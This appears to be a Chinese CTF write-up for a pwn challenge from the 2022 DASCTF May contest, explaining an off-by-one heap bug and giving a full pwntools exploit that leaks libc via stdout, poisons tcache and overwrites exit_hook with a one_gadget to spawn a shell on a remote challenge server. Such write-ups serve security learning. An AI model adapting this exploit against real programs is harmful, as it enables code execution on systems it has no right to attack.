0%

2022DasCTF-MAY-pwn

2022DASCTF MAY 出题人挑战赛部分pwn题复现

山重水复

程序分析

Xvy6AI.jpg

XvyR9f.jpg

edit函数off by one

Xvyhjg.jpg

check函数把malloc_hook和free_hook禁掉了

利用思路

程序没有show函数打印堆块内容,所以选择打stdout泄露libc,malloc_hook和free_hook被禁用,这里把exit_hook改成one_gadget

  • 先创建7个堆块
  • 编辑堆块1利用off by one改写堆块2的size,使其与堆块3重叠,然后编辑堆块2把堆块3的size改成0x500
  • 释放堆块3,5,4,此时堆块3包含了堆块4,5的区域
  • 将堆块3原先size大小先申请出来,这样堆块3就变成了由堆块4的开头的chunk
  • 再次申请一个小堆块即可得到有残留指针的堆块,并且该堆块和堆块4重叠,编辑该堆块即可将stdout链到tcache中
  • 将stdout申请出来改flag字段和write_base字段即可泄露libc
  • 再次用tcache attack申请到exit_hook填上one_gadget即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
#io = process('./pwn')
io = remote("node4.buuoj.cn", 27193)
libc = ELF('./libc-2.31.so')
elf = ELF("./pwn")
context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda text : io.recv(text)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil("\x7f")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))



def add(idx, size):
sla(b"Your choice:", b"1")
sla(b"Idx:", str(idx))
sla(b"Size:", str(size))

def edit(idx, content):
sla(b"Your choice:", b"2")
sla(b"Idx:", str(idx))
sla(b"context:", content)

def delete(idx):
sla(b"Your choice:", b"3")
sla(b"Idx:", str(idx))

def pwn():
add(0, 0xb8)
add(1, 0x68)
add(2, 0x68)
add(3, 0x38)
add(4, 0x38)
add(5, 0x400)
add(6, 0x10)

edit(0, b'b' * 0xb8 + b'\xe1')
delete(1)
add(1, 0xd8)
edit(1, b'a' * 0x68 + p64(0x501))
delete(2)
delete(4)
delete(3)
add(4, 0x68)
add(7, 0x10)
edit(7, b'\xa0\26')
add(3, 0x38)

add(8, 0x38)
edit(8, p64(0xfbad1800) + p64(0) * 3 + b"\x00")
libcbase = uu64() - libc.sym['_IO_2_1_stdin_']
print(hex(libcbase))
exit_hook = libcbase + 0x222f68
one = libcbase + 0xe6c7e
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
add(0, 0x18)
add(1, 0x18)
add(2, 0x18)
add(3, 0x18)
delete(3)
delete(2)
edit(0, b'a'*0x18 + b'\x41')
delete(1)
add(1, 0x38)
edit(1, b'a'*0x18 + p64(0x21) + p64(exit_hook))
add(2, 0x18)
add(3, 0x18)
edit(3, p64(one))
sla(b'Your choice:', b"4")
io.interactive()
while True:
try:
pwn()
break
except:
io.close()
#io = process('./pwn')
io = remote("node4.buuoj.cn", 27193)
continue